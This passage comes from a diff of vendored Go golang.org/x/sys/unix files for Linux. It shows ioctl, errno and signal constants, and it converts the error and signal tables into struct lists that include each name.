-+ TIOCSERGETMULTI = 0x545a
-+ TIOCSERGSTRUCT = 0x5458
-+ TIOCSERGWILD = 0x5454
-+ TIOCSERSETMULTI = 0x545b
-+ TIOCSERSWILD = 0x5455
-+ TIOCSER_TEMT = 0x1
-+ TIOCSETD = 0x5423
-+ TIOCSIG = 0x40045436
-+ TIOCSISO7816 = 0xc0285443
-+ TIOCSLCKTRMIOS = 0x5457
-+ TIOCSPGRP = 0x5410
-+ TIOCSPTLCK = 0x40045431
-+ TIOCSRS485 = 0x542f
-+ TIOCSSERIAL = 0x541f
-+ TIOCSSOFTCAR = 0x541a
-+ TIOCSTI = 0x5412
-+ TIOCSWINSZ = 0x5414
-+ TIOCVHANGUP = 0x5437
-+ TOSTOP = 0x100
-+ TUNATTACHFILTER = 0x400854d5
-+ TUNDETACHFILTER = 0x400854d6
-+ TUNGETDEVNETNS = 0x54e3
-+ TUNGETFEATURES = 0x800454cf
-+ TUNGETFILTER = 0x800854db
-+ TUNGETIFF = 0x800454d2
-+ TUNGETSNDBUF = 0x800454d3
-+ TUNGETVNETBE = 0x800454df
-+ TUNGETVNETHDRSZ = 0x800454d7
-+ TUNGETVNETLE = 0x800454dd
-+ TUNSETCARRIER = 0x400454e2
-+ TUNSETDEBUG = 0x400454c9
-+ TUNSETFILTEREBPF = 0x800454e1
-+ TUNSETGROUP = 0x400454ce
-+ TUNSETIFF = 0x400454ca
-+ TUNSETIFINDEX = 0x400454da
-+ TUNSETLINK = 0x400454cd
-+ TUNSETNOCSUM = 0x400454c8
-+ TUNSETOFFLOAD = 0x400454d0
-+ TUNSETOWNER = 0x400454cc
-+ TUNSETPERSIST = 0x400454cb
-+ TUNSETQUEUE = 0x400454d9
-+ TUNSETSNDBUF = 0x400454d4
-+ TUNSETSTEERINGEBPF = 0x800454e0
-+ TUNSETTXFILTER = 0x400454d1
-+ TUNSETVNETBE = 0x400454de
-+ TUNSETVNETHDRSZ = 0x400454d8
-+ TUNSETVNETLE = 0x400454dc
-+ UBI_IOCATT = 0x40186f40
-+ UBI_IOCDET = 0x40046f41
-+ UBI_IOCEBCH = 0x40044f02
-+ UBI_IOCEBER = 0x40044f01
-+ UBI_IOCEBISMAP = 0x80044f05
-+ UBI_IOCEBMAP = 0x40084f03
-+ UBI_IOCEBUNMAP = 0x40044f04
-+ UBI_IOCMKVOL = 0x40986f00
-+ UBI_IOCRMVOL = 0x40046f01
-+ UBI_IOCRNVOL = 0x51106f03
-+ UBI_IOCRPEB = 0x40046f04
-+ UBI_IOCRSVOL = 0x400c6f02
-+ UBI_IOCSETVOLPROP = 0x40104f06
-+ UBI_IOCSPEB = 0x40046f05
-+ UBI_IOCVOLCRBLK = 0x40804f07
-+ UBI_IOCVOLRMBLK = 0x4f08
-+ UBI_IOCVOLUP = 0x40084f00
-+ VDISCARD = 0xd
-+ VEOF = 0x4
-+ VEOL = 0xb
-+ VEOL2 = 0x10
-+ VMIN = 0x6
-+ VREPRINT = 0xc
-+ VSTART = 0x8
-+ VSTOP = 0x9
-+ VSUSP = 0xa
-+ VSWTC = 0x7
-+ VT1 = 0x4000
-+ VTDLY = 0x4000
-+ VTIME = 0x5
-+ VWERASE = 0xe
-+ WDIOC_GETBOOTSTATUS = 0x80045702
-+ WDIOC_GETPRETIMEOUT = 0x80045709
-+ WDIOC_GETSTATUS = 0x80045701
-+ WDIOC_GETSUPPORT = 0x80285700
-+ WDIOC_GETTEMP = 0x80045703
-+ WDIOC_GETTIMELEFT = 0x8004570a
-+ WDIOC_GETTIMEOUT = 0x80045707
-+ WDIOC_KEEPALIVE = 0x80045705
-+ WDIOC_SETOPTIONS = 0x80045704
-+ WORDSIZE = 0x20
-+ X86_FXSR_MAGIC = 0x0
-+ XCASE = 0x4
-+ XTABS = 0x1800
- )
-
- // Errors
- const (
-- E2BIG = syscall.Errno(0x7)
-- EACCES = syscall.Errno(0xd)
- EADDRINUSE = syscall.Errno(0x62)
- EADDRNOTAVAIL = syscall.Errno(0x63)
- EADV = syscall.Errno(0x44)
- EAFNOSUPPORT = syscall.Errno(0x61)
-- EAGAIN = syscall.Errno(0xb)
- EALREADY = syscall.Errno(0x72)
- EBADE = syscall.Errno(0x34)
-- EBADF = syscall.Errno(0x9)
- EBADFD = syscall.Errno(0x4d)
- EBADMSG = syscall.Errno(0x4a)
- EBADR = syscall.Errno(0x35)
- EBADRQC = syscall.Errno(0x38)
- EBADSLT = syscall.Errno(0x39)
- EBFONT = syscall.Errno(0x3b)
-- EBUSY = syscall.Errno(0x10)
- ECANCELED = syscall.Errno(0x7d)
-- ECHILD = syscall.Errno(0xa)
- ECHRNG = syscall.Errno(0x2c)
- ECOMM = syscall.Errno(0x46)
- ECONNABORTED = syscall.Errno(0x67)
-@@ -1881,23 +500,15 @@ const (
- EDEADLK = syscall.Errno(0x23)
- EDEADLOCK = syscall.Errno(0x23)
- EDESTADDRREQ = syscall.Errno(0x59)
-- EDOM = syscall.Errno(0x21)
- EDOTDOT = syscall.Errno(0x49)
- EDQUOT = syscall.Errno(0x7a)
-- EEXIST = syscall.Errno(0x11)
-- EFAULT = syscall.Errno(0xe)
-- EFBIG = syscall.Errno(0x1b)
- EHOSTDOWN = syscall.Errno(0x70)
- EHOSTUNREACH = syscall.Errno(0x71)
- EHWPOISON = syscall.Errno(0x85)
- EIDRM = syscall.Errno(0x2b)
- EILSEQ = syscall.Errno(0x54)
- EINPROGRESS = syscall.Errno(0x73)
-- EINTR = syscall.Errno(0x4)
-- EINVAL = syscall.Errno(0x16)
-- EIO = syscall.Errno(0x5)
- EISCONN = syscall.Errno(0x6a)
-- EISDIR = syscall.Errno(0x15)
- EISNAM = syscall.Errno(0x78)
- EKEYEXPIRED = syscall.Errno(0x7f)
- EKEYREJECTED = syscall.Errno(0x81)
-@@ -1914,8 +525,6 @@ const (
- ELNRNG = syscall.Errno(0x30)
- ELOOP = syscall.Errno(0x28)
- EMEDIUMTYPE = syscall.Errno(0x7c)
-- EMFILE = syscall.Errno(0x18)
-- EMLINK = syscall.Errno(0x1f)
- EMSGSIZE = syscall.Errno(0x5a)
- EMULTIHOP = syscall.Errno(0x48)
- ENAMETOOLONG = syscall.Errno(0x24)
-@@ -1923,103 +532,70 @@ const (
- ENETDOWN = syscall.Errno(0x64)
- ENETRESET = syscall.Errno(0x66)
- ENETUNREACH = syscall.Errno(0x65)
-- ENFILE = syscall.Errno(0x17)
- ENOANO = syscall.Errno(0x37)
- ENOBUFS = syscall.Errno(0x69)
- ENOCSI = syscall.Errno(0x32)
- ENODATA = syscall.Errno(0x3d)
-- ENODEV = syscall.Errno(0x13)
-- ENOENT = syscall.Errno(0x2)
-- ENOEXEC = syscall.Errno(0x8)
- ENOKEY = syscall.Errno(0x7e)
- ENOLCK = syscall.Errno(0x25)
- ENOLINK = syscall.Errno(0x43)
- ENOMEDIUM = syscall.Errno(0x7b)
-- ENOMEM = syscall.Errno(0xc)
- ENOMSG = syscall.Errno(0x2a)
- ENONET = syscall.Errno(0x40)
- ENOPKG = syscall.Errno(0x41)
- ENOPROTOOPT = syscall.Errno(0x5c)
-- ENOSPC = syscall.Errno(0x1c)
- ENOSR = syscall.Errno(0x3f)
- ENOSTR = syscall.Errno(0x3c)
- ENOSYS = syscall.Errno(0x26)
-- ENOTBLK = syscall.Errno(0xf)
- ENOTCONN = syscall.Errno(0x6b)
-- ENOTDIR = syscall.Errno(0x14)
- ENOTEMPTY = syscall.Errno(0x27)
- ENOTNAM = syscall.Errno(0x76)
- ENOTRECOVERABLE = syscall.Errno(0x83)
- ENOTSOCK = syscall.Errno(0x58)
- ENOTSUP = syscall.Errno(0x5f)
-- ENOTTY = syscall.Errno(0x19)
- ENOTUNIQ = syscall.Errno(0x4c)
-- ENXIO = syscall.Errno(0x6)
- EOPNOTSUPP = syscall.Errno(0x5f)
- EOVERFLOW = syscall.Errno(0x4b)
- EOWNERDEAD = syscall.Errno(0x82)
-- EPERM = syscall.Errno(0x1)
- EPFNOSUPPORT = syscall.Errno(0x60)
-- EPIPE = syscall.Errno(0x20)
- EPROTO = syscall.Errno(0x47)
- EPROTONOSUPPORT = syscall.Errno(0x5d)
- EPROTOTYPE = syscall.Errno(0x5b)
-- ERANGE = syscall.Errno(0x22)
- EREMCHG = syscall.Errno(0x4e)
- EREMOTE = syscall.Errno(0x42)
- EREMOTEIO = syscall.Errno(0x79)
- ERESTART = syscall.Errno(0x55)
- ERFKILL = syscall.Errno(0x84)
-- EROFS = syscall.Errno(0x1e)
- ESHUTDOWN = syscall.Errno(0x6c)
- ESOCKTNOSUPPORT = syscall.Errno(0x5e)
-- ESPIPE = syscall.Errno(0x1d)
-- ESRCH = syscall.Errno(0x3)
- ESRMNT = syscall.Errno(0x45)
- ESTALE = syscall.Errno(0x74)
- ESTRPIPE = syscall.Errno(0x56)
- ETIME = syscall.Errno(0x3e)
- ETIMEDOUT = syscall.Errno(0x6e)
- ETOOMANYREFS = syscall.Errno(0x6d)
-- ETXTBSY = syscall.Errno(0x1a)
- EUCLEAN = syscall.Errno(0x75)
- EUNATCH = syscall.Errno(0x31)
- EUSERS = syscall.Errno(0x57)
-- EWOULDBLOCK = syscall.Errno(0xb)
-- EXDEV = syscall.Errno(0x12)
- EXFULL = syscall.Errno(0x36)
- )
-
- // Signals
- const (
-- SIGABRT = syscall.Signal(0x6)
-- SIGALRM = syscall.Signal(0xe)
- SIGBUS = syscall.Signal(0x7)
- SIGCHLD = syscall.Signal(0x11)
- SIGCLD = syscall.Signal(0x11)
- SIGCONT = syscall.Signal(0x12)
-- SIGFPE = syscall.Signal(0x8)
-- SIGHUP = syscall.Signal(0x1)
-- SIGILL = syscall.Signal(0x4)
-- SIGINT = syscall.Signal(0x2)
- SIGIO = syscall.Signal(0x1d)
-- SIGIOT = syscall.Signal(0x6)
-- SIGKILL = syscall.Signal(0x9)
-- SIGPIPE = syscall.Signal(0xd)
- SIGPOLL = syscall.Signal(0x1d)
- SIGPROF = syscall.Signal(0x1b)
- SIGPWR = syscall.Signal(0x1e)
-- SIGQUIT = syscall.Signal(0x3)
-- SIGSEGV = syscall.Signal(0xb)
- SIGSTKFLT = syscall.Signal(0x10)
- SIGSTOP = syscall.Signal(0x13)
- SIGSYS = syscall.Signal(0x1f)
-- SIGTERM = syscall.Signal(0xf)
-- SIGTRAP = syscall.Signal(0x5)
- SIGTSTP = syscall.Signal(0x14)
- SIGTTIN = syscall.Signal(0x15)
- SIGTTOU = syscall.Signal(0x16)
-- SIGUNUSED = syscall.Signal(0x1f)
- SIGURG = syscall.Signal(0x17)
- SIGUSR1 = syscall.Signal(0xa)
- SIGUSR2 = syscall.Signal(0xc)
-@@ -2030,171 +606,179 @@ const (
- )
-
- // Error table
--var errors = [...]string{
-- 1: "operation not permitted",
-- 2: "no such file or directory",
-- 3: "no such process",
-- 4: "interrupted system call",
-- 5: "input/output error",
-- 6: "no such device or address",
-- 7: "argument list too long",
-- 8: "exec format error",
-- 9: "bad file descriptor",
-- 10: "no child processes",
-- 11: "resource temporarily unavailable",
-- 12: "cannot allocate memory",
-- 13: "permission denied",
-- 14: "bad address",
-- 15: "block device required",
-- 16: "device or resource busy",
-- 17: "file exists",
-- 18: "invalid cross-device link",
-- 19: "no such device",
-- 20: "not a directory",
-- 21: "is a directory",
-- 22: "invalid argument",
-- 23: "too many open files in system",
-- 24: "too many open files",
-- 25: "inappropriate ioctl for device",
-- 26: "text file busy",
-- 27: "file too large",
-- 28: "no space left on device",
-- 29: "illegal seek",
-- 30: "read-only file system",
-- 31: "too many links",
-- 32: "broken pipe",
-- 33: "numerical argument out of domain",
-- 34: "numerical result out of range",
-- 35: "resource deadlock avoided",
-- 36: "file name too long",
-- 37: "no locks available",
-- 38: "function not implemented",
-- 39: "directory not empty",
-- 40: "too many levels of symbolic links",
-- 42: "no message of desired type",
-- 43: "identifier removed",
-- 44: "channel number out of range",
-- 45: "level 2 not synchronized",
-- 46: "level 3 halted",
-- 47: "level 3 reset",
-- 48: "link number out of range",
-- 49: "protocol driver not attached",
-- 50: "no CSI structure available",
-- 51: "level 2 halted",
-- 52: "invalid exchange",
-- 53: "invalid request descriptor",
-- 54: "exchange full",
-- 55: "no anode",
-- 56: "invalid request code",
-- 57: "invalid slot",
-- 59: "bad font file format",
-- 60: "device not a stream",
-- 61: "no data available",
-- 62: "timer expired",
-- 63: "out of streams resources",
-- 64: "machine is not on the network",
-- 65: "package not installed",
-- 66: "object is remote",
-- 67: "link has been severed",
-- 68: "advertise error",
-- 69: "srmount error",
-- 70: "communication error on send",
-- 71: "protocol error",
-- 72: "multihop attempted",
-- 73: "RFS specific error",
-- 74: "bad message",
-- 75: "value too large for defined data type",
-- 76: "name not unique on network",
-- 77: "file descriptor in bad state",
-- 78: "remote address changed",
-- 79: "can not access a needed shared library",
-- 80: "accessing a corrupted shared library",
-- 81: ".lib section in a.out corrupted",
-- 82: "attempting to link in too many shared libraries",
-- 83: "cannot exec a shared library directly",
-- 84: "invalid or incomplete multibyte or wide character",
-- 85: "interrupted system call should be restarted",
-- 86: "streams pipe error",
-- 87: "too many users",
-- 88: "socket operation on non-socket",
-- 89: "destination address required",
-- 90: "message too long",
-- 91: "protocol wrong type for socket",
-- 92: "protocol not available",
-- 93: "protocol not supported",
-- 94: "socket type not supported",
-- 95: "operation not supported",
-- 96: "protocol family not supported",
-- 97: "address family not supported by protocol",
-- 98: "address already in use",
-- 99: "cannot assign requested address",
-- 100: "network is down",
-- 101: "network is unreachable",
-- 102: "network dropped connection on reset",
-- 103: "software caused connection abort",
-- 104: "connection reset by peer",
-- 105: "no buffer space available",
-- 106: "transport endpoint is already connected",
-- 107: "transport endpoint is not connected",
-- 108: "cannot send after transport endpoint shutdown",
-- 109: "too many references: cannot splice",
-- 110: "connection timed out",
-- 111: "connection refused",
-- 112: "host is down",
-- 113: "no route to host",
-- 114: "operation already in progress",
-- 115: "operation now in progress",
-- 116: "stale file handle",
-- 117: "structure needs cleaning",
-- 118: "not a XENIX named type file",
-- 119: "no XENIX semaphores available",
-- 120: "is a named type file",
-- 121: "remote I/O error",
-- 122: "disk quota exceeded",
-- 123: "no medium found",
-- 124: "wrong medium type",
-- 125: "operation canceled",
-- 126: "required key not available",
-- 127: "key has expired",
-- 128: "key has been revoked",
-- 129: "key was rejected by service",
-- 130: "owner died",
-- 131: "state not recoverable",
-- 132: "operation not possible due to RF-kill",
-- 133: "memory page has hardware error",
-+var errorList = [...]struct {
-+ num syscall.Errno
-+ name string
-+ desc string
-+}{
-+ {1, "EPERM", "operation not permitted"},
-+ {2, "ENOENT", "no such file or directory"},
-+ {3, "ESRCH", "no such process"},
-+ {4, "EINTR", "interrupted system call"},
-+ {5, "EIO", "input/output error"},
-+ {6, "ENXIO", "no such device or address"},
-+ {7, "E2BIG", "argument list too long"},
-+ {8, "ENOEXEC", "exec format error"},
-+ {9, "EBADF", "bad file descriptor"},
-+ {10, "ECHILD", "no child processes"},
-+ {11, "EAGAIN", "resource temporarily unavailable"},
-+ {12, "ENOMEM", "cannot allocate memory"},
-+ {13, "EACCES", "permission denied"},
-+ {14, "EFAULT", "bad address"},
-+ {15, "ENOTBLK", "block device required"},
-+ {16, "EBUSY", "device or resource busy"},
-+ {17, "EEXIST", "file exists"},
-+ {18, "EXDEV", "invalid cross-device link"},
-+ {19, "ENODEV", "no such device"},
-+ {20, "ENOTDIR", "not a directory"},
-+ {21, "EISDIR", "is a directory"},
-+ {22, "EINVAL", "invalid argument"},
-+ {23, "ENFILE", "too many open files in system"},
-+ {24, "EMFILE", "too many open files"},
-+ {25, "ENOTTY", "inappropriate ioctl for device"},
-+ {26, "ETXTBSY", "text file busy"},
-+ {27, "EFBIG", "file too large"},
-+ {28, "ENOSPC", "no space left on device"},
-+ {29, "ESPIPE", "illegal seek"},
-+ {30, "EROFS", "read-only file system"},
-+ {31, "EMLINK", "too many links"},
-+ {32, "EPIPE", "broken pipe"},
-+ {33, "EDOM", "numerical argument out of domain"},
-+ {34, "ERANGE", "numerical result out of range"},
-+ {35, "EDEADLK", "resource deadlock avoided"},
-+ {36, "ENAMETOOLONG", "file name too long"},
-+ {37, "ENOLCK", "no locks available"},
-+ {38, "ENOSYS", "function not implemented"},
-+ {39, "ENOTEMPTY", "directory not empty"},
-+ {40, "ELOOP", "too many levels of symbolic links"},
-+ {42, "ENOMSG", "no message of desired type"},
-+ {43, "EIDRM", "identifier removed"},
-+ {44, "ECHRNG", "channel number out of range"},
-+ {45, "EL2NSYNC", "level 2 not synchronized"},
-+ {46, "EL3HLT", "level 3 halted"},
-+ {47, "EL3RST", "level 3 reset"},
-+ {48, "ELNRNG", "link number out of range"},
-+ {49, "EUNATCH", "protocol driver not attached"},
-+ {50, "ENOCSI", "no CSI structure available"},
-+ {51, "EL2HLT", "level 2 halted"},
-+ {52, "EBADE", "invalid exchange"},
-+ {53, "EBADR", "invalid request descriptor"},
-+ {54, "EXFULL", "exchange full"},
-+ {55, "ENOANO", "no anode"},
-+ {56, "EBADRQC", "invalid request code"},
-+ {57, "EBADSLT", "invalid slot"},
-+ {59, "EBFONT", "bad font file format"},
-+ {60, "ENOSTR", "device not a stream"},
-+ {61, "ENODATA", "no data available"},
-+ {62, "ETIME", "timer expired"},
-+ {63, "ENOSR", "out of streams resources"},
-+ {64, "ENONET", "machine is not on the network"},
-+ {65, "ENOPKG", "package not installed"},
-+ {66, "EREMOTE", "object is remote"},
-+ {67, "ENOLINK", "link has been severed"},
-+ {68, "EADV", "advertise error"},
-+ {69, "ESRMNT", "srmount error"},
-+ {70, "ECOMM", "communication error on send"},
-+ {71, "EPROTO", "protocol error"},
-+ {72, "EMULTIHOP", "multihop attempted"},
-+ {73, "EDOTDOT", "RFS specific error"},
-+ {74, "EBADMSG", "bad message"},
-+ {75, "EOVERFLOW", "value too large for defined data type"},
-+ {76, "ENOTUNIQ", "name not unique on network"},
-+ {77, "EBADFD", "file descriptor in bad state"},
-+ {78, "EREMCHG", "remote address changed"},
-+ {79, "ELIBACC", "can not access a needed shared library"},
-+ {80, "ELIBBAD", "accessing a corrupted shared library"},
-+ {81, "ELIBSCN", ".lib section in a.out corrupted"},
-+ {82, "ELIBMAX", "attempting to link in too many shared libraries"},
-+ {83, "ELIBEXEC", "cannot exec a shared library directly"},
-+ {84, "EILSEQ", "invalid or incomplete multibyte or wide character"},
-+ {85, "ERESTART", "interrupted system call should be restarted"},
-+ {86, "ESTRPIPE", "streams pipe error"},
-+ {87, "EUSERS", "too many users"},
-+ {88, "ENOTSOCK", "socket operation on non-socket"},
-+ {89, "EDESTADDRREQ", "destination address required"},
-+ {90, "EMSGSIZE", "message too long"},
-+ {91, "EPROTOTYPE", "protocol wrong type for socket"},
-+ {92, "ENOPROTOOPT", "protocol not available"},
-+ {93, "EPROTONOSUPPORT", "protocol not supported"},
-+ {94, "ESOCKTNOSUPPORT", "socket type not supported"},
-+ {95, "ENOTSUP", "operation not supported"},
-+ {96, "EPFNOSUPPORT", "protocol family not supported"},
-+ {97, "EAFNOSUPPORT", "address family not supported by protocol"},
-+ {98, "EADDRINUSE", "address already in use"},
-+ {99, "EADDRNOTAVAIL", "cannot assign requested address"},
-+ {100, "ENETDOWN", "network is down"},
-+ {101, "ENETUNREACH", "network is unreachable"},
-+ {102, "ENETRESET", "network dropped connection on reset"},
-+ {103, "ECONNABORTED", "software caused connection abort"},
-+ {104, "ECONNRESET", "connection reset by peer"},
-+ {105, "ENOBUFS", "no buffer space available"},
-+ {106, "EISCONN", "transport endpoint is already connected"},
-+ {107, "ENOTCONN", "transport endpoint is not connected"},
-+ {108, "ESHUTDOWN", "cannot send after transport endpoint shutdown"},
-+ {109, "ETOOMANYREFS", "too many references: cannot splice"},
-+ {110, "ETIMEDOUT", "connection timed out"},
-+ {111, "ECONNREFUSED", "connection refused"},
-+ {112, "EHOSTDOWN", "host is down"},
-+ {113, "EHOSTUNREACH", "no route to host"},
-+ {114, "EALREADY", "operation already in progress"},
-+ {115, "EINPROGRESS", "operation now in progress"},
-+ {116, "ESTALE", "stale file handle"},
-+ {117, "EUCLEAN", "structure needs cleaning"},
-+ {118, "ENOTNAM", "not a XENIX named type file"},
-+ {119, "ENAVAIL", "no XENIX semaphores available"},
-+ {120, "EISNAM", "is a named type file"},
-+ {121, "EREMOTEIO", "remote I/O error"},
-+ {122, "EDQUOT", "disk quota exceeded"},
-+ {123, "ENOMEDIUM", "no medium found"},
-+ {124, "EMEDIUMTYPE", "wrong medium type"},
-+ {125, "ECANCELED", "operation canceled"},
-+ {126, "ENOKEY", "required key not available"},
-+ {127, "EKEYEXPIRED", "key has expired"},
-+ {128, "EKEYREVOKED", "key has been revoked"},
-+ {129, "EKEYREJECTED", "key was rejected by service"},
-+ {130, "EOWNERDEAD", "owner died"},
-+ {131, "ENOTRECOVERABLE", "state not recoverable"},
-+ {132, "ERFKILL", "operation not possible due to RF-kill"},
-+ {133, "EHWPOISON", "memory page has hardware error"},
- }
-
- // Signal table
--var signals = [...]string{
-- 1: "hangup",
-- 2: "interrupt",
-- 3: "quit",
-- 4: "illegal instruction",
-- 5: "trace/breakpoint trap",
-- 6: "aborted",
-- 7: "bus error",
-- 8: "floating point exception",
-- 9: "killed",
-- 10: "user defined signal 1",
-- 11: "segmentation fault",
-- 12: "user defined signal 2",
-- 13: "broken pipe",
-- 14: "alarm clock",
-- 15: "terminated",
-- 16: "stack fault",
-- 17: "child exited",
-- 18: "continued",
-- 19: "stopped (signal)",
-- 20: "stopped",
-- 21: "stopped (tty input)",
-- 22: "stopped (tty output)",
-- 23: "urgent I/O condition",
-- 24: "CPU time limit exceeded",
-- 25: "file size limit exceeded",
-- 26: "virtual timer expired",
-- 27: "profiling timer expired",
-- 28: "window changed",
-- 29: "I/O possible",
-- 30: "power failure",
-- 31: "bad system call",
-+var signalList = [...]struct {
-+ num syscall.Signal
-+ name string
-+ desc string
-+}{
-+ {1, "SIGHUP", "hangup"},
-+ {2, "SIGINT", "interrupt"},
-+ {3, "SIGQUIT", "quit"},
-+ {4, "SIGILL", "illegal instruction"},
-+ {5, "SIGTRAP", "trace/breakpoint trap"},
-+ {6, "SIGABRT", "aborted"},
-+ {7, "SIGBUS", "bus error"},
-+ {8, "SIGFPE", "floating point exception"},
-+ {9, "SIGKILL", "killed"},
-+ {10, "SIGUSR1", "user defined signal 1"},
-+ {11, "SIGSEGV", "segmentation fault"},
-+ {12, "SIGUSR2", "user defined signal 2"},
-+ {13, "SIGPIPE", "broken pipe"},
-+ {14, "SIGALRM", "alarm clock"},
-+ {15, "SIGTERM", "terminated"},
-+ {16, "SIGSTKFLT", "stack fault"},
-+ {17, "SIGCHLD", "child exited"},
-+ {18, "SIGCONT", "continued"},
-+ {19, "SIGSTOP", "stopped (signal)"},
-+ {20, "SIGTSTP", "stopped"},
-+ {21, "SIGTTIN", "stopped (tty input)"},
-+ {22, "SIGTTOU", "stopped (tty output)"},
-+ {23, "SIGURG", "urgent I/O condition"},
-+ {24, "SIGXCPU", "CPU time limit exceeded"},
-+ {25, "SIGXFSZ", "file size limit exceeded"},
-+ {26, "SIGVTALRM", "virtual timer expired"},
-+ {27, "SIGPROF", "profiling timer expired"},
-+ {28, "SIGWINCH", "window changed"},
-+ {29, "SIGIO", "I/O possible"},
-+ {30, "SIGPWR", "power failure"},
-+ {31, "SIGSYS", "bad system call"},
- }
-diff --git a/vendor/golang.org/x/sys/unix/zerrors_linux_amd64.go b/vendor/golang.org/x/sys/unix/zerrors_linux_amd64.go
-index a6618fc1..005970f7 100644
---- a/vendor/golang.org/x/sys/unix/zerrors_linux_amd64.go
-+++ b/vendor/golang.org/x/sys/unix/zerrors_linux_amd64.go
-@@ -3,7 +3,7 @@
-
- // +build amd64,linux
-
--// Created by cgo -godefs - DO NOT EDIT
-+// Code generated by cmd/cgo -godefs; DO NOT EDIT.
- // cgo -godefs -- -Wall -Werror -static -I/tmp/include -m64 _const.go
-
- package unix
-@@ -11,1869 +11,487 @@ package unix
- import "syscall"
-
- const (
-- AF_ALG = 0x26
-- AF_APPLETALK = 0x5
-- AF_ASH = 0x12
-- AF_ATMPVC = 0x8
-- AF_ATMSVC = 0x14
-- AF_AX25 = 0x3
-- AF_BLUETOOTH = 0x1f
-- AF_BRIDGE = 0x7
-- AF_CAIF = 0x25
-- AF_CAN = 0x1d
-- AF_DECnet = 0xc
-- AF_ECONET = 0x13
-- AF_FILE = 0x1
-- AF_IB = 0x1b
-- AF_IEEE802154 = 0x24
-- AF_INET = 0x2
-- AF_INET6 = 0xa
-- AF_IPX = 0x4
-- AF_IRDA = 0x17
-- AF_ISDN = 0x22
-- AF_IUCV = 0x20
-- AF_KCM = 0x29
-- AF_KEY = 0xf
-- AF_LLC = 0x1a
-- AF_LOCAL = 0x1
-- AF_MAX = 0x2b
-- AF_MPLS = 0x1c
-- AF_NETBEUI = 0xd
-- AF_NETLINK = 0x10
-- AF_NETROM = 0x6
-- AF_NFC = 0x27
-- AF_PACKET = 0x11
-- AF_PHONET = 0x23
-- AF_PPPOX = 0x18
-- AF_QIPCRTR = 0x2a
-- AF_RDS = 0x15
-- AF_ROSE = 0xb
-- AF_ROUTE = 0x10
-- AF_RXRPC = 0x21
-- AF_SECURITY = 0xe
-- AF_SNA = 0x16
-- AF_TIPC = 0x1e
-- AF_UNIX = 0x1
-- AF_UNSPEC = 0x0
-- AF_VSOCK = 0x28
-- AF_WANPIPE = 0x19
-- AF_X25 = 0x9
-- ALG_OP_DECRYPT = 0x0
-- ALG_OP_ENCRYPT = 0x1
-- ALG_SET_AEAD_ASSOCLEN = 0x4
-- ALG_SET_AEAD_AUTHSIZE = 0x5
-- ALG_SET_IV = 0x2
-- ALG_SET_KEY = 0x1
-- ALG_SET_OP = 0x3
-- ARPHRD_6LOWPAN = 0x339
-- ARPHRD_ADAPT = 0x108
-- ARPHRD_APPLETLK = 0x8
-- ARPHRD_ARCNET = 0x7
-- ARPHRD_ASH = 0x30d
-- ARPHRD_ATM = 0x13
-- ARPHRD_AX25 = 0x3
-- ARPHRD_BIF = 0x307
-- ARPHRD_CAIF = 0x336
-- ARPHRD_CAN = 0x118
-- ARPHRD_CHAOS = 0x5
-- ARPHRD_CISCO = 0x201
-- ARPHRD_CSLIP = 0x101
-- ARPHRD_CSLIP6 = 0x103
-- ARPHRD_DDCMP = 0x205
-- ARPHRD_DLCI = 0xf
-- ARPHRD_ECONET = 0x30e
-- ARPHRD_EETHER = 0x2
-- ARPHRD_ETHER = 0x1
-- ARPHRD_EUI64 = 0x1b
-- ARPHRD_FCAL = 0x311
-- ARPHRD_FCFABRIC = 0x313
-- ARPHRD_FCPL = 0x312
-- ARPHRD_FCPP = 0x310
-- ARPHRD_FDDI = 0x306
-- ARPHRD_FRAD = 0x302
-- ARPHRD_HDLC = 0x201
-- ARPHRD_HIPPI = 0x30c
-- ARPHRD_HWX25 = 0x110
-- ARPHRD_IEEE1394 = 0x18
-- ARPHRD_IEEE802 = 0x6
-- ARPHRD_IEEE80211 = 0x321
-- ARPHRD_IEEE80211_PRISM = 0x322
-- ARPHRD_IEEE80211_RADIOTAP = 0x323
-- ARPHRD_IEEE802154 = 0x324
-- ARPHRD_IEEE802154_MONITOR = 0x325
-- ARPHRD_IEEE802_TR = 0x320
-- ARPHRD_INFINIBAND = 0x20
-- ARPHRD_IP6GRE = 0x337
-- ARPHRD_IPDDP = 0x309
-- ARPHRD_IPGRE = 0x30a
-- ARPHRD_IRDA = 0x30f
-- ARPHRD_LAPB = 0x204
-- ARPHRD_LOCALTLK = 0x305
-- ARPHRD_LOOPBACK = 0x304
-- ARPHRD_METRICOM = 0x17
-- ARPHRD_NETLINK = 0x338
-- ARPHRD_NETROM = 0x0
-- ARPHRD_NONE = 0xfffe
-- ARPHRD_PHONET = 0x334
-- ARPHRD_PHONET_PIPE = 0x335
-- ARPHRD_PIMREG = 0x30b
-- ARPHRD_PPP = 0x200
-- ARPHRD_PRONET = 0x4
-- ARPHRD_RAWHDLC = 0x206
-- ARPHRD_ROSE = 0x10e
-- ARPHRD_RSRVD = 0x104
-- ARPHRD_SIT = 0x308
-- ARPHRD_SKIP = 0x303
-- ARPHRD_SLIP = 0x100
-- ARPHRD_SLIP6 = 0x102
-- ARPHRD_TUNNEL = 0x300
-- ARPHRD_TUNNEL6 = 0x301
-- ARPHRD_VOID = 0xffff
-- ARPHRD_X25 = 0x10f
-- B0 = 0x0
-- B1000000 = 0x1008
-- B110 = 0x3
-- B115200 = 0x1002
-- B1152000 = 0x1009
-- B1200 = 0x9
-- B134 = 0x4
-- B150 = 0x5
-- B1500000 = 0x100a
-- B1800 = 0xa
-- B19200 = 0xe
-- B200 = 0x6
-- B2000000 = 0x100b
-- B230400 = 0x1003
-- B2400 = 0xb
-- B2500000 = 0x100c
-- B300 = 0x7
-- B3000000 = 0x100d
-- B3500000 = 0x100e
-- B38400 = 0xf
-- B4000000 = 0x100f
-- B460800 = 0x1004
-- B4800 = 0xc
-- B50 = 0x1
-- B500000 = 0x1005
-- B57600 = 0x1001
-- B576000 = 0x1006
-- B600 = 0x8
-- B75 = 0x2
-- B921600 = 0x1007
-- B9600 = 0xd
-- BLKBSZGET = 0x80081270
-- BLKBSZSET = 0x40081271
-- BLKFLSBUF = 0x1261
-- BLKFRAGET = 0x1265
-- BLKFRASET = 0x1264
-- BLKGETSIZE = 0x1260
-- BLKGETSIZE64 = 0x80081272
-- BLKPBSZGET = 0x127b
-- BLKRAGET = 0x1263
-- BLKRASET = 0x1262
-- BLKROGET = 0x125e
-- BLKROSET = 0x125d
-- BLKRRPART = 0x125f
-- BLKSECTGET = 0x1267
-- BLKSECTSET = 0x1266
-- BLKSSZGET = 0x1268
-- BOTHER = 0x1000
-- BPF_A = 0x10
